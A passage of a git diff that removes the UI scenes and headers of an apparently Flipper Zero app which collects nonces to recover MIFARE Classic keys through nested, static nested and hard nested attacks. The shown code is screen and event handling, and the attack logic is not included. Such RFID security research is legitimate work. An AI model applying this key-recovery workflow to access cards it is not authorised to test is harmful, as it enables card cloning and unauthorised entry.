- uint8_t parity[2][4]; - bool skipped; - bool from_start; - bool invalid; - bool collected; - bool hardnested; -} Nonces; - -typedef struct { - uint32_t cuid; - uint32_t sector_count; - // 40 (or 16/5) sectors, 2 keys (A/B), 3 tries - Nonces* nonces[40][2][3]; - uint32_t tries; - // unique first bytes - uint32_t hardnested_states; -} NonceList_t; - -typedef struct { - uint32_t total_keys; - uint32_t checked_keys; - uint32_t found_keys; - uint32_t added_keys; - uint32_t sector_keys; - bool tag_lost; -} KeyInfo_t; - -typedef struct { - uint32_t saved; - uint32_t invalid; - uint32_t skipped; -} SaveNoncesResult_t; \ No newline at end of file diff --git a/applications/external/mifare_nested/mifare_nested_worker_i.h b/applications/external/mifare_nested/mifare_nested_worker_i.h deleted file mode 100644 index fd82535d0..000000000 --- a/applications/external/mifare_nested/mifare_nested_worker_i.h +++ /dev/null @@ -1,28 +0,0 @@ -#pragma once - -#include -#include "mifare_nested_i.h" -#include "mifare_nested_worker.h" - -struct MifareNestedWorker { - FuriThread* thread; - - NfcDeviceData* dev_data; - - MifareNestedWorkerCallback callback; - MifareNested* context; - - MifareNestedWorkerState state; -}; - -int32_t mifare_nested_worker_task(void* context); - -void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker); - -void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker); - -void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker); - -void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker); - -void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker); diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene.c b/applications/external/mifare_nested/scenes/mifare_nested_scene.c deleted file mode 100644 index 3962ed908..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "mifare_nested_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const mifare_nested_on_enter_handlers[])(void*) = { -#include "mifare_nested_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const mifare_nested_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "mifare_nested_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const mifare_nested_on_exit_handlers[])(void* context) = { -#include "mifare_nested_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers mifare_nested_scene_handlers = { - .on_enter_handlers = mifare_nested_on_enter_handlers, - .on_event_handlers = mifare_nested_on_event_handlers, - .on_exit_handlers = mifare_nested_on_exit_handlers, - .scene_num = MifareNestedSceneNum, -}; diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene.h b/applications/external/mifare_nested/scenes/mifare_nested_scene.h deleted file mode 100644 index e9596f222..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) MifareNestedScene##id, -typedef enum { -#include "mifare_nested_scene_config.h" - MifareNestedSceneNum, -} MifareNestedScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers mifare_nested_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "mifare_nested_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "mifare_nested_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "mifare_nested_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c deleted file mode 100644 index 9aa46f698..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c +++ /dev/null @@ -1,77 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_about_on_enter(void* context) { - MifareNested* mifare_nested = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", NESTED_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by:\n%s\n\n", NESTED_AUTHOR); - furi_string_cat_printf(temp_str, "Github: %s\n\n", NESTED_GITHUB_LINK); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, - "Ported Nested attacks\nfrom Proxmark3 (Iceman fork)\nCurrently supported attacks:\n - nested attack\n - static nested attack\n - hard nested attack\n\n"); - furi_string_cat_printf( - temp_str, - "You will need desktop app to recover keys from collected nonces: %s\n\n", - NESTED_RECOVER_KEYS_GITHUB_LINK); - furi_string_cat_printf(temp_str, "\e#%s\n", "Quick guide"); - furi_string_cat_printf(temp_str, "1. Install key recovery script on PC:\n"); - furi_string_cat_printf(temp_str, "pip install FlipperNested\n"); - furi_string_cat_printf(temp_str, "2. Connect Flipper Zero to PC\n"); - furi_string_cat_printf(temp_str, "3. Run key recovery:\n"); - furi_string_cat_printf(temp_str, "FlipperNested"); - - widget_add_text_box_element( - mifare_nested->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - mifare_nested->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! Flipper Nested \e!\n", - false); - widget_add_text_scroll_element( - mifare_nested->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_about_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - UNUSED(mifare_nested); - UNUSED(event); - - return consumed; -} - -void mifare_nested_scene_about_on_exit(void* context) { - MifareNested* mifare_nested = context; - - // Clear views - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c deleted file mode 100644 index f5627a300..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c +++ /dev/null @@ -1,76 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_added_keys_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_added_keys_on_enter(void* context) { - MifareNested* mifare_nested = context; - KeyInfo_t* key_info = mifare_nested->keys; - Widget* widget = mifare_nested->widget; - char draw_str[32] = {}; - char append[5] = {'k', 'e', 'y', ' ', '\0'}; - if(key_info->added_keys != 1) { - append[3] = 's'; - } - - widget_add_string_element( - widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Results of key recovery"); - - if(key_info->added_keys != 0) { - snprintf(draw_str, sizeof(draw_str), "Added: %lu %s", key_info->added_keys, append); - notification_message(mifare_nested->notifications, &sequence_success); - widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess); - } else { - snprintf(draw_str, sizeof(draw_str), "No new keys were added"); - widget_add_string_element( - widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "Try running \"Nested attack\""); - widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again"); - notification_message(mifare_nested->notifications, &sequence_error); - } - - widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, draw_str); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_added_keys_widget_callback, - mifare_nested); - - free(key_info); - - KeyInfo_t* new_key_info = malloc(sizeof(KeyInfo_t)); - mifare_nested->keys = new_key_info; - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_added_keys_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_added_keys_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c deleted file mode 100644 index 45837ff92..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../mifare_nested_i.h" - -enum { - MifareNestedSceneCheckStateTagSearch, - MifareNestedSceneCheckStateTagFound, -}; - -bool mifare_nested_check_worker_callback(MifareNestedWorkerEvent event, void* context) { - furi_assert(context); - - MifareNested* mifare_nested = context; - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event); - - return true; -} - -static void mifare_nested_scene_check_setup_view(MifareNested* mifare_nested) { - Popup* popup = mifare_nested->popup; - popup_reset(popup); - uint32_t state = - scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneCheck); - - if(state == MifareNestedSceneCheckStateTagSearch) { - popup_set_icon(mifare_nested->popup, 0, 8, &I_ApplyTag); - popup_set_text( - mifare_nested->popup, "Apply tag to\nthe back", 128, 32, AlignRight, AlignCenter); - } else { - popup_set_icon(popup, 12, 23, &I_Loading); - popup_set_header(popup, "Checking\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewPopup); -} - -void mifare_nested_scene_check_on_enter(void* context) { - MifareNested* mifare_nested = context; - - scene_manager_set_scene_state( - mifare_nested->scene_manager, - MifareNestedSceneCheck, - MifareNestedSceneCheckStateTagSearch); - mifare_nested_scene_check_setup_view(mifare_nested); - - // Setup and start worker - mifare_nested_worker_start( - mifare_nested->worker, - MifareNestedWorkerStateCheck, - &mifare_nested->nfc_dev->dev_data, - mifare_nested_check_worker_callback, - mifare_nested); - mifare_nested_blink_start(mifare_nested); -} - -bool mifare_nested_scene_check_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == MifareNestedWorkerEventCollecting) { - if(mifare_nested->run == NestedRunAttack) { - if(mifare_nested->settings->only_hardnested) { - FURI_LOG_I("MifareNested", "Using Hard Nested because user settings"); - mifare_nested->collecting_type = MifareNestedWorkerStateCollectingHard; - } - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneCollecting); - } else { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheckKeys); - } - consumed = true; - } else if(event.event == MifareNestedWorkerEventNoTagDetected) { - scene_manager_set_scene_state( - mifare_nested->scene_manager, - MifareNestedSceneCheck, - MifareNestedSceneCheckStateTagSearch); - mifare_nested_scene_check_setup_view(mifare_nested); - consumed = true; - } - } - return consumed; -} - -void mifare_nested_scene_check_on_exit(void* context) { - MifareNested* mifare_nested = context; - - mifare_nested_worker_stop(mifare_nested->worker); - scene_manager_set_scene_state( - mifare_nested->scene_manager, - MifareNestedSceneCheck, - MifareNestedSceneCheckStateTagSearch); - // Clear view - popup_reset(mifare_nested->popup); - - mifare_nested_blink_stop(mifare_nested); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c deleted file mode 100644 index b06953eeb..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c +++ /dev/null @@ -1,117 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_check_keys_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -bool mifare_nested_check_keys_worker_callback(MifareNestedWorkerEvent event, void* context) { - MifareNested* mifare_nested = context; - CheckKeysState* plugin_state = mifare_nested->keys_state; - - if(event == MifareNestedWorkerEventKeyChecked) { - mifare_nested_blink_nonce_collection_start(mifare_nested); - - KeyInfo_t* key_info = mifare_nested->keys; - - with_view_model( - plugin_state->view, - CheckKeysViewModel * model, - { - model->lost_tag = false; - model->keys_checked = key_info->checked_keys; - model->keys_found = key_info->found_keys; - model->keys_total = key_info->sector_keys; - model->keys_count = key_info->total_keys; - }, - true); - } else if(event == MifareNestedWorkerEventNoTagDetected) { - mifare_nested_blink_start(mifare_nested); - - with_view_model( - plugin_state->view, CheckKeysViewModel * model, { model->lost_tag = true; }, true); - } else if(event == MifareNestedWorkerEventProcessingKeys) { - with_view_model( - plugin_state->view, - CheckKeysViewModel * model, - { model->processing_keys = true; }, - true); - } - - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event); - - return true; -} - -void mifare_nested_scene_check_keys_on_enter(void* context) { - MifareNested* mifare_nested = context; - CheckKeysState* plugin_state = mifare_nested->keys_state; - - mifare_nested_worker_start( - mifare_nested->worker, - MifareNestedWorkerStateValidating, - &mifare_nested->nfc_dev->dev_data, - mifare_nested_check_keys_worker_callback, - mifare_nested); - - mifare_nested_blink_start(mifare_nested); - - with_view_model( - plugin_state->view, - CheckKeysViewModel * model, - { - model->lost_tag = false; - model->processing_keys = false; - model->keys_count = 0; - model->keys_checked = 0; - model->keys_found = 0; - }, - false); - - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys); -} - -bool mifare_nested_scene_check_keys_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } else if(event.event == MifareNestedWorkerEventKeysFound) { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAddedKeys); - consumed = true; - } else if(event.event == MifareNestedWorkerEventNeedKeyRecovery) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneNeedKeyRecovery); - consumed = true; - } else if(event.event == MifareNestedWorkerEventNeedCollection) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneNeedCollection); - consumed = true; - } else if( - event.event == MifareNestedWorkerEventKeyChecked || - event.event == MifareNestedWorkerEventNoTagDetected || - event.event == MifareNestedWorkerEventProcessingKeys) { - consumed = true; - } - } - - return consumed; -} - -void mifare_nested_scene_check_keys_on_exit(void* context) { - MifareNested* mifare_nested = context; - mifare_nested_worker_stop(mifare_nested->worker); - - // Clear view - mifare_nested_blink_stop(mifare_nested); - popup_reset(mifare_nested->popup); - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c deleted file mode 100644 index 0e319bbcf..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c +++ /dev/null @@ -1,161 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_collecting_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -bool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, void* context) { - MifareNested* mifare_nested = context; - NestedState* plugin_state = mifare_nested->nested_state; - - if(event == MifareNestedWorkerEventNewNonce) { - mifare_nested_blink_nonce_collection_start(mifare_nested); - - uint8_t collected = 0; - uint8_t skip = 0; - NonceList_t* nonces = mifare_nested->nonces; - for(uint8_t tries = 0; tries < nonces->tries; tries++) { - for(uint8_t sector = 0; sector < nonces->sector_count; sector++) { - for(uint8_t keyType = 0; keyType < 2; keyType++) { - Nonces* info = nonces->nonces[sector][keyType][tries]; - if(info->from_start) { - skip++; - } else if(info->collected) { - collected++; - } - } - } - } - - with_view_model( - plugin_state->view, - NestedAttackViewModel * model, - { - model->calibrating = false; - model->lost_tag = false; - model->nonces_collected = collected; - model->keys_count = (nonces->sector_count * nonces->tries * 2) - skip; - }, - true); - } else if(event == MifareNestedWorkerEventNoTagDetected) { - mifare_nested_blink_start(mifare_nested); - - with_view_model( - plugin_state->view, NestedAttackViewModel * model, { model->lost_tag = true; }, true); - } else if(event == MifareNestedWorkerEventCalibrating) { - mifare_nested_blink_calibration_start(mifare_nested); - - with_view_model( - plugin_state->view, - NestedAttackViewModel * model, - { - model->calibrating = true; - model->lost_tag = false; - model->need_prediction = false; - model->hardnested = false; - }, - true); - } else if(event == MifareNestedWorkerEventNeedPrediction) { - with_view_model( - plugin_state->view, - NestedAttackViewModel * model, - { model->need_prediction = true; }, - true); - } else if(event == MifareNestedWorkerEventHardnestedStatesFound) { - NonceList_t* nonces = mifare_nested->nonces; - with_view_model( - plugin_state->view, - NestedAttackViewModel * model, - { - model->calibrating = false; - model->lost_tag = false; - model->hardnested = true; - model->hardnested_states = nonces->hardnested_states; - }, - true); - } - - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event); - - return true; -} - -void mifare_nested_scene_collecting_on_enter(void* context) { - MifareNested* mifare_nested = context; - NestedState* nested = mifare_nested->nested_state; - - mifare_nested_worker_start( - mifare_nested->worker, - mifare_nested->collecting_type, - &mifare_nested->nfc_dev->dev_data, - mifare_nested_collecting_worker_callback, - mifare_nested); - - mifare_nested_blink_start(mifare_nested); - - with_view_model( - nested->view, - NestedAttackViewModel * model, - { - model->lost_tag = false; - model->nonces_collected = 0; - }, - false); - - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting); -} - -bool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } else if(event.event == MifareNestedWorkerEventNoncesCollected) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); - consumed = true; - } else if(event.event == MifareNestedWorkerEventNoNoncesCollected) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneNoNoncesCollected); - consumed = true; - } else if(event.event == MifareNestedWorkerEventAttackFailed) { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed); - consumed = true; - } else if(event.event == MifareNestedWorkerEventNeedKey) { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys); - consumed = true; - } else if(event.event == MifareNestedWorkerEventStaticEncryptedNonce) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneStaticEncryptedNonce); - consumed = true; - } else if( - event.event == MifareNestedWorkerEventNewNonce || - event.event == MifareNestedWorkerEventNoTagDetected || - event.event == MifareNestedWorkerEventCalibrating || - event.event == MifareNestedWorkerEventNeedPrediction || - event.event == MifareNestedWorkerEventHardnestedStatesFound) { - consumed = true; - } - } - - return consumed; -} - -void mifare_nested_scene_collecting_on_exit(void* context) { - MifareNested* mifare_nested = context; - mifare_nested_worker_stop(mifare_nested->worker); - - // Clear view - mifare_nested_blink_stop(mifare_nested); - popup_reset(mifare_nested->popup); - widget_reset(mifare_nested->widget); -} \ No newline at end of file diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h b/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h deleted file mode 100644 index 648f0bd73..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h +++ /dev/null @@ -1,14 +0,0 @@ -ADD_SCENE(mifare_nested, start, Start) -ADD_SCENE(mifare_nested, check, Check) -ADD_SCENE(mifare_nested, nonces_collected, NoncesCollected) -ADD_SCENE(mifare_nested, collecting, Collecting) -ADD_SCENE(mifare_nested, no_keys, NoKeys) -ADD_SCENE(mifare_nested, check_keys, CheckKeys) -ADD_SCENE(mifare_nested, added_keys, AddedKeys) -ADD_SCENE(mifare_nested, failed, Failed) -ADD_SCENE(mifare_nested, about, About) -ADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce) -ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery) -ADD_SCENE(mifare_nested, need_collection, NeedCollection) -ADD_SCENE(mifare_nested, settings, Settings) -ADD_SCENE(mifare_nested, no_nonces_collected, NoNoncesCollected) \ No newline at end of file diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c deleted file mode 100644 index e7d1ee80d..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_failed_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_failed_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - - notification_message(mifare_nested->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 13, &I_DolphinCry); - widget_add_string_element( - widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Failed to preform attack"); - widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Try running"); - widget_add_string_element( - widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "\"Nested attack\""); - widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again or check"); - widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "logs"); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_failed_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_failed_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_failed_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c deleted file mode 100644 index ee6e76b40..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_need_collection_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_need_collection_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - - notification_message(mifare_nested->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 13, &I_DolphinCry); - widget_add_string_element( - widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing collected nonces"); - widget_add_string_element( - widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Run \"Nested attack\""); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_need_collection_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_need_collection_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_need_collection_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c deleted file mode 100644 index e34b68137..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_need_key_recovery_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_need_key_recovery_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - - notification_message(mifare_nested->notifications, &sequence_error); - - widget_add_icon_element(widget, 74, 13, &I_DolphinCry); - widget_add_string_element( - widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing found keys"); - widget_add_string_element( - widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "First you need to"); - widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "recover keys"); - widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Read \"About\""); - widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "for more info"); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_need_key_recovery_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_need_key_recovery_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_need_key_recovery_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c deleted file mode 100644 index 138cbdbc8..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c +++ /dev/null @@ -1,61 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_no_keys_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_no_keys_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - - notification_message(mifare_nested->notifications, &sequence_success); - - widget_add_icon_element(widget, 73, 13, &I_DolphinCry); - widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No keys found"); - widget_add_string_element( - widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Scan tag and find at"); - widget_add_string_element( - widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "least one key to"); - widget_add_string_element( - widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "start (save dump"); - widget_add_string_element( - widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "after scanning!)"); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_no_keys_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_no_keys_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_no_keys_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c 